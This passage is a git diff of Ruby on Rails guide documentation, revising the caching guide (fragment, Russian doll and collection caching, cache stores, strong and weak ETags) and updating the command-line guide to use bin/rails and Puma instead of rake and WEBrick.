enabled for production. +By default, caching is only enabled in your production environment. To play +around with caching locally you'll want to enable caching in your local +environment by setting `config.action_controller.perform_caching` to `true` in +the relevant `config/environments/*.rb` file: ```ruby config.action_controller.perform_caching = true ``` +NOTE: Changing the value of `config.action_controller.perform_caching` will +only have an effect on the caching provided by the Action Controller component. +For instance, it will not impact low-level caching, that we address +[below](#low-level-caching). + ### Page Caching -Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or NGINX), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. +Page caching is a Rails mechanism which allows the request for a generated page +to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go +through the entire Rails stack. While this is super fast it can't be applied to +every situation (such as pages that need authentication). Also, because the +webserver is serving a file directly from the filesystem you will need to +implement cache expiration. INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). @@ -42,116 +67,215 @@ INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_c ### Fragment Caching -Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching. +Dynamic web applications usually build pages with a variety of components not +all of which have the same caching characteristics. When different parts of the +page need to be cached and expired separately you can use Fragment Caching. Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in. -As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code: +For example, if you wanted to cache each product on a page, you could use this +code: ```html+erb -<% Order.find_recent.each do |o| %> - <%= o.buyer.name %> bought <%= o.product.name %> +<% @products.each do |product| %> + <% cache product do %> + <%= render product %> + <% end %> <% end %> +``` -<% cache do %> - All available products: - <% Product.all.each do |p| %> - <%= link_to p.name, product_url(p) %> - <% end %> +When your application receives its first request to this page, Rails will write +a new cache entry with a unique key. A key looks something like this: + +``` +views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 +``` + +The number in the middle is the `product_id` followed by the timestamp value in +the `updated_at` attribute of the product record. Rails uses the timestamp value +to make sure it is not serving stale data. If the value of `updated_at` has +changed, a new key will be generated. Then Rails will write a new cache to that +key, and the old cache written to the old key will never be used again. This is +called key-based expiration. + +Cache fragments will also be expired when the view fragment changes (e.g., the +HTML in the view changes). The string of characters at the end of the key is a +template tree digest. It is an MD5 hash computed based on the contents of the +view fragment you are caching. If you change the view fragment, the MD5 hash +will change, expiring the existing file. + +TIP: Cache stores like Memcached will automatically delete old cache files. + +If you want to cache a fragment under certain conditions, you can use +`cache_if` or `cache_unless`: + +```erb +<% cache_if admin?, product do %> + <%= render product %> <% end %> ``` -The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call: +#### Collection caching + +The `render` helper can also cache individual templates rendered for a collection. +It can even one up the previous example with `each` by reading all cache +templates at once instead of one by one. This is done by passing `cached: true` when rendering the collection: ```html+erb -<% cache(action: 'recent', action_suffix: 'all_products') do %> - All available products: +<%= render partial: 'products/product', collection: @products, cached: true %> ``` -and you can expire it using the `expire_fragment` method, like so: +All cached templates from previous renders will be fetched at once with much +greater speed. Additionally, the templates that haven't yet been cached will be +written to cache and multi fetched on the next render. -```ruby -expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products') + +### Russian Doll Caching + +You may want to nest cached fragments inside other cached fragments. This is +called Russian doll caching. + +The advantage of Russian doll caching is that if a single product is updated, +all the other inner fragments can be reused when regenerating the outer +fragment. + +As explained in the previous section, a cached file will expire if the value of +`updated_at` changes for a record on which the cached file directly depends. +However, this will not expire any cache the fragment is nested within. + +For example, take the following view: + +```erb +<% cache product do %> + <%= render product.games %> +<% end %> ``` -If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key: +Which in turn renders this view: ```erb -<% cache('all_available_products') do %> - All available products: +<% cache game do %> + <%= render game %> <% end %> ``` -This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way: +If any attribute of game is changed, the `updated_at` value will be set to the +current time, thereby expiring the cache. However, because `updated_at` +will not be changed for the product object, that cache will not be expired and +your app will serve stale data. To fix this, we tie the models together with +the `touch` method: ```ruby -expire_fragment('all_available_products') +class Product < ApplicationRecord + has_many :games +end + +class Game < ApplicationRecord + belongs_to :product, touch: true +end ``` -If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method: + +With `touch` set to true, any action which changes `updated_at` for a game +record will also change it for the associated product, thereby expiring the +cache. + +### Managing dependencies + +In order to correctly invalidate the cache, you need to properly define the +caching dependencies. Rails is clever enough to handle common cases so you don't +have to specify anything. However, sometimes, when you're dealing with custom +helpers for instance, you need to explicitly define them. + +#### Implicit dependencies + +Most template dependencies can be derived from calls to `render` in the template +itself. Here are some examples of render calls that `ActionView::Digestor` knows +how to decode: ```ruby -module ProductsHelper - def cache_key_for_products - count = Product.count - max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number) - "products/all-#{count}-#{max_updated_at}" - end -end +render partial: "comments/comment", collection: commentable.comments +render "comments/comments" +render 'comments/comments' +render('comments/comments') + +render "header" => render("comments/header") + +render(@topic) => render("topics/topic") +render(topics) => render("topics/topic") +render(message.topics) => render("topics/topic") ``` -This method generates a cache key that depends on all products and can be used in the view: +On the other hand, some calls need to be changed to make caching work properly. +For instance, if you're passing a custom collection, you'll need to change: -```erb -<% cache(cache_key_for_products) do %> - All available products: -<% end %> +```ruby +render @project.documents.where(published: true) ``` -If you want to cache a fragment under certain conditions, you can use `cache_if` or `cache_unless` +to: -```erb -<% cache_if (condition, cache_key_for_products) do %> - All available products: -<% end %> +```ruby +render partial: "documents/document", collection: @project.documents.where(published: true) ``` -You can also use an Active Record model as the cache key: +#### Explicit dependencies -```erb -<% Product.all.each do |p| %> - <% cache(p) do %> - <%= link_to p.name, product_url(p) %> - <% end %> -<% end %> +Sometimes you'll have template dependencies that can't be derived at all. This +is typically the case when rendering happens in helpers. Here's an example: + +```html+erb +<%= render_sortable_todolists @project.todolists %> ``` -Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes. +You'll need to use a special comment format to call those out: -You can also combine the two schemes which is called "Russian Doll Caching": +```html+erb +<%# Template Dependency: todolists/todolist %> +<%= render_sortable_todolists @project.todolists %> +``` -```erb -<% cache(cache_key_for_products) do %> - All available products: - <% Product.all.each do |p| %> - <% cache(p) do %> - <%= link_to p.name, product_url(p) %> - <% end %> - <% end %> +In some cases, like a single table inheritance setup, you might have a bunch of +explicit dependencies. Instead of writing every template out, you can use a +wildcard to match any template in a directory: + +```html+erb +<%# Template Dependency: events/* %> +<%= render_categorizable_events @person.events %> +``` + +As for collection caching, if the partial template doesn't start with a clean +cache call, you can still benefit from collection caching by adding a special +comment format anywhere in the template, like: + +```html+erb +<%# Template Collection: notification %> +<% my_helper_that_calls_cache(some_arg, notification) do %> + <%= notification.name %> <% end %> ``` -It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment. +#### External dependencies + +If you use a helper method, for example, inside a cached block and you then update +that helper, you'll have to bump the cache as well. It doesn't really matter how +you do it, but the MD5 of the template file must change. One recommendation is to +simply be explicit in a comment, like: + +```html+erb +<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> +<%= some_helper_method(person) %> +``` ### Low-Level Caching -Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information. +Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing __any__ kind of information. The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned. Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching: ```ruby -class Product < ActiveRecord::Base +class Product < ApplicationRecord def competing_price Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do Competitor::API.find_price(id) @@ -160,11 +284,14 @@ class Product < ActiveRecord::Base end ``` -NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key. +NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key. ### SQL Caching -Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again. +Query caching is a Rails feature that caches the result set returned by each +query. If Rails encounters the same query again for that request, it will use +the cached result set as opposed to running the query against the database +again. For example: @@ -186,21 +313,25 @@ end The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. -However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching. +However, it's important to note that query caches are created at the start of +an action and destroyed at the end of that action and thus persist only for the +duration of the action. If you'd like to store query results in a more +persistent fashion, you can with low level caching. Cache Stores ------------ -Rails provides different stores for the cached data created by **action** and **fragment** caches. - -TIP: Page caches are always stored on disk. +Rails provides different stores for the cached data (apart from SQL and page +caching). ### Configuration -You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor. +You can set up your application's default cache store by setting the +`config.cache_store` configuration option. Other parameters can be passed as +arguments to the cache store's constructor: ```ruby -config.cache_store = :memory_store +config.cache_store = :memory_store, { size: 64.megabytes } ``` NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block. @@ -219,21 +350,42 @@ There are some common options used by all cache implementations. These can be pa * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. -* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes. +* `:compress_threshold` - This option is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes. * `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache. * `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option. +#### Custom Cache Stores + +You can create your own custom cache store by simply extending +`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way, +you can swap in any number of caching technologies into your Rails application. + +To use a custom cache store, simply set the cache store to a new instance of your +custom class. + +```ruby +config.cache_store = MyCacheStore.new +``` + ### ActiveSupport::Cache::MemoryStore -This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed. +This cache store keeps entries in memory in the same Ruby process. The cache +store has a bounded size specified by sending the `:size` option to the +initializer (default is 32Mb). When the cache exceeds the allotted size, a +cleanup will occur and the least recently used entries will be removed. ```ruby config.cache_store = :memory_store, { size: 64.megabytes } ``` -If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments. +If you're running multiple Ruby on Rails server processes (which is the case +if you're using mongrel_cluster or Phusion Passenger), then your Rails server +process instances won't be able to share cache data with each other. This cache +store is not appropriate for large application deployments. However, it can +work well for small, low traffic sites with only a couple of server processes, +as well as development and test environments. ### ActiveSupport::Cache::FileStore @@ -243,9 +395,13 @@ This cache store uses the file system to store entries. The path to the director config.cache_store = :file_store, "/path/to/cache/directory" ``` -With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts. +With this cache store, multiple server processes on the same host can share a +cache. The cache store is appropriate for low to medium traffic sites that are +served off one or two hosts. Server processes running on different hosts could +share a cache by using a shared file system, but that setup is not recommended. -Note that the cache will grow until the disk is full unless you periodically clear out old entries. +As the cache will grow until the disk is full, it is recommended to +periodically clear out old entries. This is the default cache store implementation. @@ -253,65 +409,32 @@ This is the default cache store implementation. This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. -When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. +When initializing the cache, you need to specify the addresses for all +memcached servers in your cluster. If none are specified, it will assume +memcached is running on localhost on the default port, but this is not an ideal +setup for larger sites. -The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry. +The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry. ```ruby config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" ``` -### ActiveSupport::Cache::EhcacheStore - -If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store. - -```ruby -config.cache_store = :ehcache_store -``` - -When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache). - -In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: - -| Property | Argument Type | Description | -| --------------------------- | ------------------- | ----------------------------------------------------------- | -| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. | -| eternal | boolean | Sets whether the element is eternal. | -| timeToIdle, tti | int | Sets time to idle | -| timeToLive, ttl, expires_in | int | Sets time to Live | -| version | long | Sets the version attribute of the ElementAttributes object. | - -These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples: - -```ruby -Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds) -caches_action :index, expires_in: 60.seconds, unless_exist: true -``` - -For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) . -For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html) - ### ActiveSupport::Cache::NullStore -This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss. +This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss. ```ruby config.cache_store = :null_store ``` -### Custom Cache Stores - -You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application. - -To use a custom cache store, simple set the cache store to a new instance of the class. - -```ruby -config.cache_store = MyCacheStore.new -``` - -### Cache Keys +Cache Keys +---------- -The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id. +The keys used in a cache can be any object that responds to either `cache_key` or +`to_param`. You can implement the `cache_key` method on your classes if you need +to generate custom keys. Active Record will generate keys based on the class name +and record id. You can use Hashes and Arrays of values as cache keys. @@ -320,7 +443,12 @@ You can use Hashes and Arrays of values as cache keys. Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) ``` -The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules. +The keys you use on `Rails.cache` will not be the same as those actually used with +the storage engine. They may be modified with a namespace or altered to fit +technology backend constraints. This means, for instance, that you can't save +values with `Rails.cache` and then try to pull them out with the `dalli` gem. +However, you also don't need to worry about exceeding the memcached size limit or +violating syntax rules. Conditional GET support ----------------------- @@ -353,7 +481,7 @@ class ProductsController < ApplicationController end ``` -Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: +Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: ```ruby class ProductsController < ApplicationController @@ -383,3 +511,43 @@ class ProductsController < ApplicationController end end ``` + +### Strong v/s Weak ETags + +Rails generates weak ETags by default. Weak ETags allow semantically equivalent +responses to have the same ETags, even if their bodies do not match exactly. +This is useful when we don't want the page to be regenerated for minor changes in +response body. + +Weak ETags have a leading `W/` to differentiate them from strong ETags. + +``` + W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag + "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag +``` + +Unlike weak ETag, strong ETag implies that response should be exactly the same +and byte by byte identical. Useful when doing Range requests within a +large video or PDF file. Some CDNs support only strong ETags, like Akamai. +If you absolutely need to generate a strong ETag, it can be done as follows. + +```ruby + class ProductsController < ApplicationController + def show + @product = Product.find(params[:id]) + fresh_when last_modified: @product.published_at.utc, strong_etag: @product + end + end +``` + +You can also set the strong ETag directly on the response. + +```ruby + response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7" +``` + +References +---------- + +* [DHH's article on key-based expiration](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) +* [Ryan Bates' Railscast on cache digests](http://railscasts.com/episodes/387-cache-digests) diff --git a/guides/source/command_line.md b/guides/source/command_line.md index d153e0bfa6..0e6d119681 100644 --- a/guides/source/command_line.md +++ b/guides/source/command_line.md @@ -21,7 +21,7 @@ There are a few commands that are absolutely critical to your everyday usage of * `rails console` * `rails server` -* `rake` +* `bin/rails` * `rails generate` * `rails dbconsole` * `rails new app_name` @@ -39,7 +39,7 @@ INFO: You can install the rails gem by typing `gem install rails`, if you don't ```bash $ rails new commandsapp create - create README.rdoc + create README.md create Rakefile create config.ru create .gitignore @@ -55,20 +55,22 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin ### `rails server` -The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. +The `rails server` command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser. With no further work, `rails server` will run our new shiny Rails app: ```bash $ cd commandsapp $ bin/rails server -=> Booting WEBrick -=> Rails 5.0.0 application starting in development on http://localhost:3000 -=> Call with -d to detach -=> Ctrl-C to shutdown server -[2013-08-07 02:00:01] INFO WEBrick 1.3.1 -[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0] -[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 +=> Booting Puma +=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000 +=> Run `rails server -h` for more startup options +Puma starting in single mode... +* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas +* Min threads: 5, max threads: 5 +* Environment: development +* Listening on tcp://localhost:3000 +Use Ctrl-C to stop ``` With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. @@ -181,7 +183,7 @@ Fire up your server using `rails server`. ```bash $ bin/rails server -=> Booting WEBrick... +=> Booting Puma... ``` The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello). @@ -250,17 +252,23 @@ $ bin/rails generate scaffold HighScore game:string score:integer The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. -The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `bin/rails db:migrate` command. We'll talk more about bin/rails in-depth in a little while. ```bash -$ bin/rake db:migrate +$ bin/rails db:migrate == CreateHighScores: migrating =============================================== -- create_table(:high_scores) -> 0.0017s == CreateHighScores: migrated (0.0019s) ====================================== ``` -INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment. +INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions +about code. In unit testing, we take a little part of code, say a method of a model, +and test its inputs and outputs. Unit tests are your friend. The sooner you make +peace with the fact that your quality of life will drastically increase when you unit +test your code, the better. Seriously. Please visit +[the testing guide](http://guides.rubyonrails.org/testing.html) for an in-depth +look at unit testing. Let's see the interface Rails created for us. @@ -318,7 +326,7 @@ With the `helper` method it is possible to access Rails and your application's h ### `rails dbconsole` -`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. +`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3. INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`. @@ -369,44 +377,63 @@ $ bin/rails destroy model Oops remove test/fixtures/oops.yml ``` -Rake ----- +bin/rails +--------- -Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. +Since Rails 5.0+ has rake commands built into the rails executable, `bin/rails` is the new default for running commands. -You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need. - -To get the full backtrace for running rake task you can pass the option `--trace` to command line, for example `rake db:create --trace`. +You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each task has a description, and should help you find the thing you need. ```bash -$ bin/rake --tasks -rake about # List versions of all Rails frameworks and the environment -rake assets:clean # Remove old compiled assets -rake assets:clobber # Remove compiled assets -rake assets:precompile # Compile all the assets named in config.assets.precompile -rake db:create # Create the database from config/database.yml for the current Rails.env +$ bin/rails --help +Usage: rails COMMAND [ARGS] + +The most common rails commands are: +generate Generate new code (short-cut alias: "g") +console Start the Rails console (short-cut alias: "c") +server Start the Rails server (short-cut alias: "s") +... + +All commands can be run with -h (or --help) for more information. + +In addition to those commands, there are: +about List versions of all Rails ... +assets:clean[keep] Remove old compiled assets +assets:clobber Remove compiled assets +assets:environment Load asset compile environment +assets:precompile Compile all the assets ... ... -rake log:clear # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development) -rake middleware # Prints out your Rack middleware stack +db:fixtures:load Loads fixtures into the ... +db:migrate Migrate the database ... +db:migrate:status Display status of migrations +db:rollback Rolls the schema back to ... +db:schema:cache:clear Clears a db/schema_cache.dump file +db:schema:cache:dump Creates a db/schema_cache.dump file +db:schema:dump Creates a db/schema.rb file ... +db:schema:load Loads a schema.rb file ... +db:seed Loads the seed data ... +db:structure:dump Dumps the database structure ... +db:structure:load Recreates the databases ... +db:version Retrieves the current schema ... ... -rake tmp:clear # Clear cache and socket files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear) -rake tmp:create # Creates tmp directories for cache, sockets, and pids +restart Restart app by touching ... +tmp:create Creates tmp directories ... ``` -INFO: You can also use `rake -T` to get the list of tasks. +INFO: You can also use `bin/rails -T` to get the list of tasks. ### `about` -`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. +`bin/rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. ```bash -$ bin/rake about +$ bin/rails about About your application's environment Rails version 5.0.0 -Ruby version 2.2.0 (x86_64-linux) -RubyGems version 2.4.5 +Ruby version 2.2.2 (x86_64-linux) +RubyGems version 2.4.6 Rack version 1.6 JavaScript Runtime Node.js (V8) -Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag +Middleware Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 @@ -415,22 +442,22 @@ Database schema version 20110805173523 ### `assets` -You can precompile the assets in `app/assets` using `rake assets:precompile`, and remove older compiled assets using `rake assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built. +You can precompile the assets in `app/assets` using `bin/rails assets:precompile`, and remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built. -If you want to clear `public/assets` completely, you can use `rake assets:clobber`. +If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`. ### `db` -The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database. +The most common tasks of the `db:` bin/rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration bin/rails tasks (`up`, `down`, `redo`, `reset`). `bin/rails db:version` is useful when troubleshooting, telling you the current version of the database. -More information about migrations can be found in the [Migrations](migrations.html) guide. +More information about migrations can be found in the [Migrations](active_record_migrations.html) guide. ### `notes` -`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations. +`bin/rails notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations. ```bash -$ bin/rake notes +$ bin/rails notes (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: * [ 20] [TODO] any other way to do this? @@ -447,10 +474,10 @@ You can add support for new file extensions using `config.annotations.register_e config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } ``` -If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name. +If you are looking for a specific annotation, say FIXME, you can use `bin/rails notes:fixme`. Note that you have to lower case the annotation's name. ```bash -$ bin/rake notes:fixme +$ bin/rails notes:fixme (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: * [132] high priority for next deploy @@ -459,10 +486,10 @@ app/models/school.rb: * [ 17] ``` -You can also use custom annotations in your code and list them using `rake notes:custom` 